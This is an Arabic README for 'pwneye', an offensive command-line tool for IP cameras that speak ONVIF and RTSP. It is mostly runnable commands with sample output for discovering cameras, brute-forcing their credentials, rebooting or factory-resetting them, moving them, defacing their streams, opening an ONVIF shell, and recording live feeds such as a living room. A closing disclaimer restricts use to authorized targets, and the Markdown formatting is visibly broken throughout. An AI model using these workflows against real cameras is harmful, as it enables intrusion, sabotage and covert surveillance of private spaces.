
# رفيقك لكاميرات ONVIF وRTSP لاكتشاف واختراق كاميرات المراقبة الواقعية 🎥
pwneye هي أداة أمنية هجومية مركّزة وقابلة للنقل للعمل مع كاميرات IP التي تعرض خدمات ONVIF و RTSP، بهدف منح باحثي الأمن والقراصنة طريقة سهلة للتعامل مع الاكتشاف، واختبار المصادقة، وجمع البيانات الوصفية، والتحقق من البث، والتسجيل، والإجراءات اللاحقة من سير عمل CLI واحد.
بعض القدرات المدعومة حالياً تشمل:
ffplay، وتسجيل عبر ffmpeg، والتقاط لقطة~/.pwneyehttps://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c
ثبّت pwneye كأمر CLI على مستوى النظام من GitHub:```bash
pipx install git+https://github.com/Hackerest/pwneye.git
pwneye --help
قم بإلغاء تثبيته:```bash
pipx uninstall pwneye
قم بترقيته لاحقًا من نفس مصدر GitHub:```bash pipx upgrade pwneye
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help
قم بترقيته لاحقًا من نفس مصدر GitHub:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt
### التبعيات الخارجية
من المتوقع توفر الأدوات التالية في `PATH` حسب الوضع الذي تستخدمه:
- `ffplay`
- `ffprobe`
- `ffmpeg` للتسجيل
| المنصة | أمر التثبيت |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |
## البدء
استخدم هذه النقاط كأسرع مداخل للعمل مع الأداة. الهدف هنا ليس توثيق كل خيار، بل إظهار أكثر الطرق فائدة لبدء العمل مع كاميرا بناءً على ما تعرفه بالفعل.
ابدأ من سير العمل الكامل الافتراضي عندما يكون لديك هدف واحد وتريد أن تقوم `pwneye` بعملية اختيار البروتوكول نيابةً عنك:```bash
pwneye -t 192.168.1.135
ابدأ باكتشاف ONVIF عندما تكون على نفس الشبكة المحلية وتريد تحديد الأجهزة والبائعين ومؤشرات البث قبل لمس RTSP:```bash pwneye --discover
ابدأ مباشرة من RTSP عندما يكون ONVIF غير ذي صلة، أو غير متوفر، أو كنت تعرف بالفعل ما تريد اختباره:```bash
pwneye -t 192.168.1.135 --skip-onvif
ابدأ من بيانات الاعتماد المعروفة أو المشتبه بها عندما تريد تقليل الضوضاء والتحقق من الوصول بسرعة:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123
ابدأ من مسار معروف أو قالب مسار عندما يكون لديك بالفعل دليل على التدفق وتريد تحكماً دقيقاً في طلبات RTSP:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'
ابدأ بجمع الأدلة بمجرد العثور على تدفق يعمل:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record
الأعلام المفيدة التي يجب وضعها في الاعتبار:
- `--vendor VENDOR`: تقليل طلبات RTSP عندما تكون عائلة الجهاز معروفة مسبقًا
- `-cn, --connection-string PATH`: تجربة مسار RTSP معروف أو ملف يحتوي على مسارات مرشحة
- `--multi-channel`: تفضيل مسارات RTSP القائمة على القنوات عندما تشك في أن الهدف من نوع DVR/NVR
- `--threads N`: التحكم في التزامن لاختراق ONVIF وRTSP
- `--skip-onvif` / `--skip-rtsp`: التركيز على بروتوكول واحد فقط
- `--no-cache`: عدم القراءة من أو الكتابة إلى ذاكرة التخزين المؤقت
- `--fresh`: تجاهل قراءات ذاكرة التخزين المؤقت ولكن لا يزال كتابة النتائج الجديدة
## ONVIF
ONVIF هو جانب الإدارة والتحكم في عالم الكاميرات. عمليًا، هو مفيد للاكتشاف، والمصادقة، واستخراج البيانات الوصفية، وتعداد ملفات الوسائط، واسترجاع عناوين URI لدفق الفيديو، وإجراءات الجهاز مثل إعادة التشغيل.
في `pwneye`، عادةً ما يكون ONVIF هو البروتوكول الذي يوفر أغنى سياق ما بعد المصادقة، وأوضح مسار لفهم ما تعرضه الكاميرا، وعندما يمتلك الحساب المصادق صلاحيات كافية، الوصول إلى إجراءات إدارية حقيقية على الجهاز.
### ما يوفره لك ONVIF
عندما تعرض الكاميرا ONVIF، يمكن لـ `pwneye` استخدامه من أجل:
- اكتشاف الكاميرات على الشبكة المحلية عبر WS-Discovery
- اختبار مصادقة ONVIF باستخدام بيانات اعتماد ثابتة أو ملفات
- استخراج بيانات الشركة المصنعة والجهاز الوصفية
- استرجاع عناوين URI لدفق RTSP المعروضة من الجهاز
- تعداد السياق المفيد بعد المصادقة قبل لمس RTSP بشكل أكثر عدوانية
- طلب إعادة تشغيل مصادق عليها باستخدام `--reboot`
- طلب إعادة ضبط المصنع مصادق عليها باستخدام `--reset`
- تحريك كاميرا قادرة على PTZ من سطر الأوامر أو من العارض المخصص
- فتح قشرة تفاعلية مصادق عليها باستخدام `--shell`
- تشويه الدفق عبر ONVIF باستخدام `--deface`
- استعادة آخر ملف تشويه محفوظ باستخدام `--undeface`
### تعداد الشبكة المحلية
استخدم WS-Discovery لتحديد الأجهزة القادرة على ONVIF على الشبكة المحلية:```
pwneye --discover
[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)
Host: 192.168.1.135
Port: 80
Protocol: http
Types: Device
XAddrs: http://192.168.1.135:80/onvif/device_service
Manufacturer: Tenda
Name: CP3Pro
Hardware: CP3Pro
MAC: XX:XX:XX:XX:XX:XX
Country: China
Profiles: Streaming
Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder
[success] ONVIF discovery stopped by user after identifying 1 device(s)
حلقة الاكتشاف تستمر في الفحص كل بضع ثوانٍ، وتطبع فقط الأجهزة المكتشفة حديثًا، ويمكن إيقافها باستخدام CTRL-C.
يمكنك أيضًا فرض الاكتشاف عبر واجهة شبكة محددة:```bash pwneye --discover en0 pwneye --discover eth0
عند عدم تحديد واجهة، يقوم `pwneye` تلقائيًا باختيار واجهة الخروج الافتراضية ويخبرك بقطاع الشبكة الفرعية الذي يستخدمه لاكتشاف WS-Discovery.
### تخمين بيانات الاعتماد (Bruteforcing Credentials)
قم بتشغيل تخمين ONVIF فقط مع اسم مستخدم ثابت وملف كلمات مرور:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y):
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345
خيارات مفيدة:
--skip-onvif: تخطي اكتشاف ONVIF والتعداد-oP, --onvif-port PORT: اختبار منفذ ONVIF محدد-ou, --onvif-username USER: اسم مستخدم ONVIF أو ملف يحتوي على اسم مستخدم واحد في كل سطر-op, --onvif-password PASS: كلمة مرور ONVIF أو ملف يحتوي على كلمة مرور واحدة في كل سطرإذا لم يتم تحديد -ou و -op، يقوم pwneye تلقائيًا بالرجوع إلى أسماء المستخدمين وكلمات المرور الشائعة المدمجة لديه لـ ONVIF.
يقوم pwneye بتخزين بيانات اعتماد ONVIF الناجحة لكل هدف مؤقتًا تحت ~/.pwneye/cache ويعيد استخدامها في عمليات التشغيل المستقبلية ما لم تستخدم --fresh أو --no-cache.
إذا نجح مصادقة ONVIF، يمكنك طلب إعادة تشغيل مباشرة:``` pwneye -t 192.168.1.135 --reboot
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!
عند استخدام `--reboot`، يتم تخطي فحص RTSP.
### إعادة ضبط الكاميرا
إذا نجح مصادقة ONVIF، يمكنك أيضًا طلب إعادة ضبط المصنع مباشرةً:```text
pwneye -t 192.168.1.135 --reset
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.
تحذير: قد تكون هذه العملية غير قابلة للتراجع وقد تمسح إعدادات الجهاز الحالية وبيانات الاعتماد وإعدادات الشبكة. استخدم --reset فقط عندما تفهم التأثير بالكامل وتكون مصرحًا لك صراحةً بتنفيذها.
كما هو الحال مع --reboot، عند استخدام --reset، يتم تخطي فحص RTSP.
إذا كان الهدف يعرض عناصر تحكم PTZ عبر ONVIF، يمكن لـ pwneye تحريك الكاميرا من الطرفية ومن العارض المباشر المخصص.
من سطر الأوامر، استخدم --move مع direction,duration. يمكن تكرار العلامة، ويتم تنفيذ الحركات المطلوبة بالتسلسل مع تخطي فحص RTSP:```bash
pwneye -t 192.168.1.135 --move right,2
pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3
pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3
الاتجاهات المقبولة هي:
- `left` أو `l`
- `right` أو `r`
- `up` أو `u`
- `down` أو `d`
مثال:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1
...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...
[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!
داخل العارض المخصص، إذا كان PTZ مدعومًا، فإن العرض المركّز يتيح لك أيضًا تحريك الكاميرا تفاعليًا باستخدام W وA وS وD. وهذا مفيد عندما يكون لديك بالفعل بث يعمل وترغب في الحصول على تغذية راجعة بصرية مباشرة أثناء ضبط الجهاز.
إذا نجح مصادقة ONVIF، يمكن لـ pwneye أيضًا محاولة تشويه البث مباشرةً:```bash
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
ما الذي يفعله `--deface` باختصار:
- يتحقق أولاً مما إذا كان الهدف يدعم تعتيم البث عبر ONVIF Imaging
- يتحقق أيضاً مما إذا كان الهدف يعرض طبقات نص ONVIF قابلة لإعادة الاستخدام
- إذا كان كلاهما متاحاً، يقوم `pwneye` بتنفيذ تشويه كامل
- إذا كان جانب واحد فقط متاحاً، يحذر `pwneye` المستخدم ويقدم تشويهاً جزئياً بدلاً من ذلك
- قبل تغيير أي شيء، يحفظ `pwneye` ملف استعادة للهدف تحت `~/.pwneye/cache`
التنفيذ متحفظ عمداً ومراعٍ لمصنعي الأجهزة:
- بالنسبة لخطوة التعتيم، يخفض `pwneye` عناصر التحكم في التصوير المدعومة مثل السطوع والتباين والتشبع بدلاً من الاعتماد على حيل خاصة بالمصنعين
- بالنسبة لخطوة النص، يعيد `pwneye` استخدام طبقات نص ONVIF القابلة للكتابة الموجودة بدلاً من إنشاء أو حذف إدخالات OSD جديدة
- وهذا يجعل الميزة أكثر توافقاً عبر عائلات الكاميرات المختلفة، حتى لو كانت النتيجة البصرية النهائية لا تزال تعتمد على البرنامج الثابت
مثال:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface
Sample result:

إذا كان تشغيل سابق لـ --deface قد حفظ ملف استعادة للملف الهدف، يمكن لـ pwneye استخدامه لاستعادة حالة ONVIF الأصلية:```bash
pwneye -t 192.168.1.135 --undeface
ما الذي يفعله `--undeface`، باختصار:
- يبحث عن ملف تعريف استعادة deface محفوظ مسبقًا في إدخال ذاكرة التخزين المؤقت للهدف
- إذا لم يكن هناك ملف تعريف موجود، يتوقف فورًا مع ظهور خطأ
- إذا كان ملف تعريف موجودًا، يحاول استعادة إعدادات Imaging الأصلية وطبقات النص القابلة للكتابة الأصلية
- كما هو الحال مع `--deface`، قد تكون النتيجة النهائية كاملة أو جزئية اعتمادًا على ما يسمح به الهدف عبر ONVIF
لا يتم حذف ملف تعريف الاستعادة بعد نجاح `--undeface`. يبقى في ذاكرة التخزين المؤقت حتى يقوم `--deface` مستقبليًا باستبداله بملف تعريف أحدث.
مثال:```text
pwneye -t 192.168.1.135 --undeface
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!
إذا نجح مصادقة ONVIF، يمكن لـ pwneye أيضًا أن يمنحك شل ONVIF تفاعليًا مباشرةً.
هذا مفيد عندما تريد فحص الخدمات، أو استدعاء الطرق يدويًا، أو استكشاف الإمكانيات، أو اختبار عمليات خاصة بالهدف دون مغادرة سير العمل الحالي.
مثال:```text pwneye -t 192.168.1.135 --shell
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[info] Opening the interactive ONVIF shell...
This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.
[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc
## RTSP
RTSP هو الجانب المتعلق بالبث في عالم الكاميرات. وهو البروتوكول الذي يمنحك عادةً مسار الفيديو المباشر، لكنه أيضًا الأكثر تجزؤًا: يستخدم البائعون مسارات مختلفة، واصطلاحات قنوات مختلفة، وخصائص مصادقة مختلفة، وتنسيقات لافتات مختلفة.
في `pwneye`، تتم معالجة RTSP حول اكتشاف المنافذ، والتقاط اللافتات، واختيار المسارات المدركة للبائع، وتنسيق هجمات القوة الغاشمة، والتحقق من صحة البث، والمعاينة، والتسجيل.
### ما الذي يوفره لك RTSP
RTSP هو الجزء من سير العمل الذي يؤكد ما إذا كان بإمكانك الوصول فعليًا إلى بث ما. في `pwneye`، يعني ذلك:
- اكتشاف RTSP على المنافذ الشائعة أو المنافذ المحددة من قبل المستخدم
- التقاط اللافتات ومحاولة تحديد البائع تلقائيًا
- هجمات القوة الغاشمة على بيانات الاعتماد مقابل مسارات مدركة للبائع أو مسارات يقدمها المستخدم
- التحقق من صحة البثوط العاملة قبل فتحها
- تسجيل البثوط أو التقاط لقطات كدليل
- تعداد قنوات متعددة عندما يتصرف الهدف مثل DVR أو NVR
### تحديد البائع
سيحاول `pwneye` تحديد بائع RTSP تلقائيًا من خلال التقاط لافتات RTSP قبل اللجوء إلى تعداد مسارات أوسع.
إذا فشل التحديد التلقائي القائم على اللافتات وكنت تعرف البائع بالفعل من تحليل سابق، يمكنك تمريره مباشرة لتقليل عدد الطلبات بشكل كبير:```bash
pwneye -t 192.168.1.135 --vendor tenda
يمكنك أيضًا جلب لافتة RTSP فقط ثم الخروج:``` pwneye -t 192.168.1.135 --skip-onvif --banner
... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0
خيارات مفيدة:
- `--skip-rtsp`: تخطّي اكتشاف RTSP والهجوم بالتخمين
- `-P, --rtsp-port PORT`: اختبار منفذ RTSP محدد
- `--vendor VENDOR`: فرض بائع من قاعدة بيانات RTSP
- `--list-vendors`: عرض البائعين المدعومين من قاعدة معرفة RTSP ثم الخروج
- `--protocol tcp|udp`: اختيار ناقل RTSP، الافتراضي هو `tcp`
- `--timeout SECONDS`: مهلة RTSP، الافتراضي هو `10`
### الهجوم بالتخمين على RTSP
الهجوم بالتخمين على RTSP باستخدام بيانات اعتماد ثابتة:```bash
pwneye -t 192.168.1.135 --username admin --password admin
قم بتدوير أسماء المستخدمين فقط مع كلمة مرور ثابتة:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10
جرّب سلسلة اتصال RTSP واحدة مقدمة من المستخدم:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"
قم بتحميل سلاسل الاتصال المرشحة من الملف:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt
اجمع مسارًا يدويًا مع بيانات اعتماد ثابتة:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"
يفضّل استخدام مسارات متعددة القنوات عندما يكون الهدف على الأرجح جهاز DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel
الخيارات المفيدة:
- `-u, --username USER`: اسم مستخدم RTSP أو ملف يحتوي على اسم مستخدم واحد في كل سطر
- `-p, --password PASS`: كلمة مرور RTSP أو ملف يحتوي على كلمة مرور واحدة في كل سطر
- `-cn, --connection-string PATH`: سلسلة اتصال RTSP أو ملف يحتوي على سلسلة اتصال واحدة في كل سطر
- `--multi-channel`: تفضيل سلاسل اتصال RTSP متعددة القنوات عند توفرها
- `--threads N`: عدد الخيوط المتزامنة المستخدمة بواسطة محرك القوة الغاشمة
إذا لم يتم تحديد `-u` و `-p`، يقوم `pwneye` تلقائيًا بالرجوع إلى أسماء المستخدمين وكلمات المرور الشائعة المدمجة لـ RTSP.
يقوم `pwneye` بتخزين بيانات اعتماد RTSP الناجحة وبيانات تدفق الوسائط المُتحقق منها لكل هدف تحت `~/.pwneye/cache`.
سلوك التخزين المؤقت:
- الافتراضي: إعادة استخدام النتائج الصالحة المخزنة قبل تشغيل قوة غاشمة جديدة
- `--fresh`: تجاهل النتائج المخزنة مؤقتًا ولكن لا يزال تحديث التخزين المؤقت بالنتائج الجديدة
- `--no-cache`: تعطيل كل من قراءة التخزين المؤقت وكتابة التخزين المؤقت
### التدفقات متعددة القنوات
تكشف بعض الكاميرات وأجهزة DVR و NVR عن قنوات RTSP منطقية متعددة بدلاً من مسار ثابت واحد. تتضمن الأمثلة النموذجية قوالب مثل:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0
pwneye يمكنه اكتشاف ذلك تلقائيًا أثناء فحص RTSP، بما في ذلك من خلال المعرفة المستندة إلى البائع في RTSP، ولكن يمكنك أيضًا توجيه العملية بشكل صريح:
--multi-channel يخبر pwneye بتفضيل مسارات RTSP القائمة على القنوات من قاعدة المعرفة--connection-string يتيح لك توفير قالب القناة الخاص بك، بما في ذلك العناصر النائبة مثل {channel}pwneye فتح إما بث واحد أو عارض مخصص متعدد القنوات في نافذة واحدةأمثلة:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt
عينة الإخراج:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far
[0] Open all discovered channels in a dedicated client
[1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
[2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
[3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0
[>] Select channel (CTRL-C to exit):
إذا اخترت Open all discovered channels، يقوم pwneye بتشغيل عميل متعدد القنوات مخصص يُبقي جميع البثوث المكتشفة داخل نافذة واحدة. تظهر كل قناة في الفسيفساء كمعاينة حية، والنقر على بلاطة يرفع تلك القناة إلى عرض مركّز أكبر مع إجراء Back بسيط للعودة إلى الشبكة.
افتراضيًا، تستخدم المعاينة الحية لبروتوكول RTSP عميل pwneye المخصص. إذا كنت تفضّل سير عمل المشغّل الكلاسيكي بدلاً من ذلك، يمكنك إضافة --legacy لفتح البث المُتحقَّق منه باستخدام ffplay.
عندما يكون العميل المخصص مفتوحًا، يمكنك أيضًا تشغيل Snapshot وRecord مباشرةً من العرض المركّز دون مغادرة الواجهة الرسومية. هذا مفيد عندما تريد فحص بث أولاً ثم تقرر فقط حفظ صورة ثابتة أو بدء تسجيل الأدلة.
افتح بثًا مُتحقَّقًا منه مع معاينة حية:```bash pwneye -t 192.168.1.135 --vendor tenda
سجّل تدفق RTSP مُتحققًا منه مع معاينة:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4
التقط لقطة شاشة بدلاً من تسجيل كامل:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg
سجّل دون فتح نافذة المعاينة:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video
...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)
سلوك التسجيل:
--record [OUTPUT.mp4]: تسجيل بث RTSP الذي تم التحقق منه؛ إذا تم حذفه، يتم إنشاء ملف بختم زمني تحت ~/.pwneye/recordings--snapshot [OUTPUT.jpg]: حفظ إطار ثابت من بث RTSP الذي تم التحقق منه؛ إذا تم حذفه، يتم إنشاء ملف بختم زمني تحت ~/.pwneye/snapshots--no-video: تخطي المعاينة المباشرة وفك الترميزSnapshot وRecord مباشرة في العرض المركّز~/.pwneye/recordings/<target>/~/.pwneye/snapshots/<target>/إذا كانت pwneye لعبة فيديو، فهذه على الأرجح النصائح التي ستراها على شاشة التحميل:
--discover يعمل على الشبكة المحلية، فاستخدمه أولاً. يمكن لمعلومات البائع وبيانات الجهاز الوصفية والنتائج المخزنة مؤقتًا أن تجعل أعمال RTSP اللاحقة أكثر هدوءًا وموثوقية.--skip-rtsp بدلاً من مهاجمة RTSP مباشرة وجعل البث غير مستقر. عندما يجد pwneye بيانات اعتماد ONVIF صالحة، سيحاول إعادة استخدامها على RTSP تلقائيًا.--vendor صراحةً. يقلل ذلك من الطلبات ويمكن أن يساعد في إبقاء الأهداف الهشة مستقرة.--connection-string بدلاً من تعداد RTSP الواسع. يمنحك ذلك تحكمًا أدق في مجموعة الطلبات ويجعل تفسير حالات الفشل أسهل.--multi-channel أو قالب قنوات يدوي قبل افتراض أنه يكشف عن بث واحد فقط.--reboot خطوة استرداد مباشرة لكنها غالبًا فعّالة.شكر خاص لـ @kaburagisec على onvif-python، مكتبة ONVIF المستخدمة بواسطة pwneye.
لقد جعلت جانب ONVIF من هذا المشروع أسهل وأكثر موثوقية بشكل كبير.
شكرًا لـ Darix Deros للمساعدة أثناء الاختبار ومشاركة عدة اقتراحات مفيدة حسّنت أجزاءً من الأداة، بما في ذلك سير عمل اكتشاف ONVIF.
استخدم pwneye فقط ضد الأصول التي تملكها أو التي لديك إذن صريح بتقييمها.
يمكن لهذه الأداة تعداد الخدمات، واختبار المصادقة، وفتح البث، وتسجيل الفيديو، والتفاعل مع ميزات ONVIF الإدارية، ومع الصلاحيات الكافية، إعادة تشغيل الجهاز الهدف أو إعادة تعيينه أو تشويهه أو تغيير سلوكه بأي طريقة أخرى.
حتى عندما يكون هدفك هو جمع الأدلة فقط، فإن الفحص المتكرر لـ RTSP يمكن أن يجعل الكاميرات الهشة غير مستقرة، ويمكن أن يكون لإجراءات ONVIF تأثير تشغيلي فوري.
يُوزَّع هذا المشروع بموجب رخصة GNU GPL3.
انظر LICENSE.md.